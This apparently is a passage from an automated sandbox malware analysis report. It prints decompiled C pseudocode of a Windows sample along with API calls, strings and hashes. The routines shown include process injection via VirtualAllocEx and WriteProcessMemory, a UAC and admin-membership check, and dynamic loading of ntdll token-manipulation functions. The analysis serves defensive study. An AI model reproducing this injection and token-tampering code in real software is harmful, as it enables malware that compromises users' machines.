					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x0
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x0
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0);
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,EntryPoint), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,EntryPoint), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32 ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

RtlInitUnicodeString, xrefs: 00401135
ntdll.dll, xrefs: 0040100D
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtTerminateProcess, xrefs: 004010F6
NtQueryInformationToken, xrefs: 00401262
RtlFreeSid, xrefs: 00401116
NtOpenProcessToken, xrefs: 004011D4
NtSetInformationToken, xrefs: 00401175
RtlNtStatusToDosError, xrefs: 00401194
NtDuplicateToken, xrefs: 004011F3
NtFilterToken, xrefs: 0040122B
RtlLengthSid, xrefs: 00401246
RtlSetLastWin32Error, xrefs: 004010D6
NtClose, xrefs: 004011B4
NtSetInformationThread, xrefs: 00401155
RtlExpandEnvironmentStrings_U, xrefs: 004010BC

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
